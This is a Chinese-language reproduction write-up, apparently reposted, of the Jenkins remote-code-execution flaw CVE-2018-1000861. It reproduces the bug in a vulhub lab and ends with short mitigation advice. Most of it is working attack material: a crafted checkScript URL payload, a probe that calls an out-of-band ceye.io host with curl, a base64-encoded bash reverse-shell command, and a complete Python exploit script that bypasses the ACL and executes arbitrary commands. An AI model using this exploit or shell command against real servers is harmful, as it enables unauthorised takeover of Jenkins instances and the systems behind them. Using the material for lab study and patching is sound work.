Jenkins遠程命令執行漏洞(CVE-2018-1000861)


0X01 漏洞介紹

Stapler Web框架中的釘書機/core/src/main/java/org/kohsuke/stapler/MetaClass.java中存在一個代碼執行漏洞,攻擊者可以使用該方法調用某些方法通過訪問並非旨在通過這種方式調用的特制URL來訪問Java對象。

0x02 影響版本

Jenkins 2.153及更早版本,LTS 2.138.3及更早版本

0x03 搭建環境

直接使用vulhub環境 

0x04 漏洞復現

payload:

securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript

?sandbox=true

&value=public class x {

  public x(){

    "touch /tmp/success".execute()

  }

}

執行exp:檢查漏洞  python27 exp.py url “curl eppvh1.ceye.io ”

 

 

 

反彈shell:http://www.jackson-t.ca/runtime-exec-payloads.html Bash編碼反彈語句:

 

 

 

執行 :

python27 exp.py url “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzIDA+JjE=}|{base64,-d}|{bash,-i} ”

 

 

 

Exp:

#!/usr/bin/python

# coding: UTF-8

# author: Orange Tsai(@orange_8361)

#

 

import sys

import requests

from enum import Enum

 

# remove bad SSL warnings

try:

    requests.packages.urllib3.disable_warnings()

except:

    pass

 

 

endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'

 

class mode(Enum):

    ACL_PATCHED = 0

    NOT_JENKINS = 1

    READ_ENABLE = 2

    READ_BYPASS = 3

    ENTRY_NOTFOUND = 999

 

def usage():

    print '''

  Usage:

    python exp.py <url> <cmd>

    '''

 

def _log(msg, fail=False):

    nb = '[*]'

    if fail:

        nb = '[-]'

    print '%s %s' % (nb, msg)

 

def _get(url, params=None):

    r = requests.get(url, verify=False, params=params)

    return r.status_code, r.content

 

def _add_bypass(url):

    return url + 'securityRealm/user/admin/'

 

def check(url):

    flag, accessible = mode.ACL_PATCHED, False

 

    # check ANONYMOUS_READ

    status, content = _get(url)

    if status == 200 and 'adjuncts' in content:

        flag, accessible = mode.READ_ENABLE, True

        _log('ANONYMOUS_READ enable!')

    elif status == 403:

        _log('ANONYMOUS_READ disable!')

 

        # check ACL bypass, CVE-2018-1000861

        status, content = _get(_add_bypass(url))

        if status == 200 and 'adjuncts' in content:

            flag, accessible = mode.READ_BYPASS, True

    else:

        flag = mode.NOT_JENKINS

 

    # check entry point, CVE-2019-1003005

    if accessible:

        if flag is mode.READ_BYPASS:

            url = _add_bypass(url)

        status, content = _get(url + endpoint)

 

        if status == 404:

            flag = mode.ENTRY_NOTFOUND

 

    return flag

 

def exploit(url, cmd):

    payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('hex')

    params = {

        'sandbox': True,

        'value': payload

    }

 

    status, content = _get(url + endpoint, params)

    if status == 200:

        _log('Exploit success!(it should be :P)')

    elif status == 405:

        _log('It seems Jenkins has patched the RCE gadget :(')

    else:

        _log('Exploit fail with HTTP status [%d]' % status, fail=True)

        if 'stack trace' in content:

            for _ in content.splitlines():

                if _.startswith('Caused:'):

                    _log(_, fail=True)

 

if __name__ == '__main__':

    if len(sys.argv) != 3:

        usage()

        exit()

 

    url = sys.argv[1].rstrip('/') + '/'

    cmd = sys.argv[2]

 

    flag = check(url)

    if flag is mode.ACL_PATCHED:

        _log('It seems Jenkins is up-to-date(>2.137) :(', fail=True)

    elif flag is mode.NOT_JENKINS:

        _log('Is this Jenkins?', fail=True)

    elif flag is mode.READ_ENABLE:

        exploit(url, cmd)

    elif flag is mode.READ_BYPASS:

        _log('Bypass with CVE-2018-1000861!')

        exploit(_add_bypass(url), cmd)

    else:

        _log('The `checkScript` is not found, please try other entries(see refs)', fail=True)

0x05 修復方案

1.盡量不要開放到公網

2.限制來源IP

3.升級到最新版

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM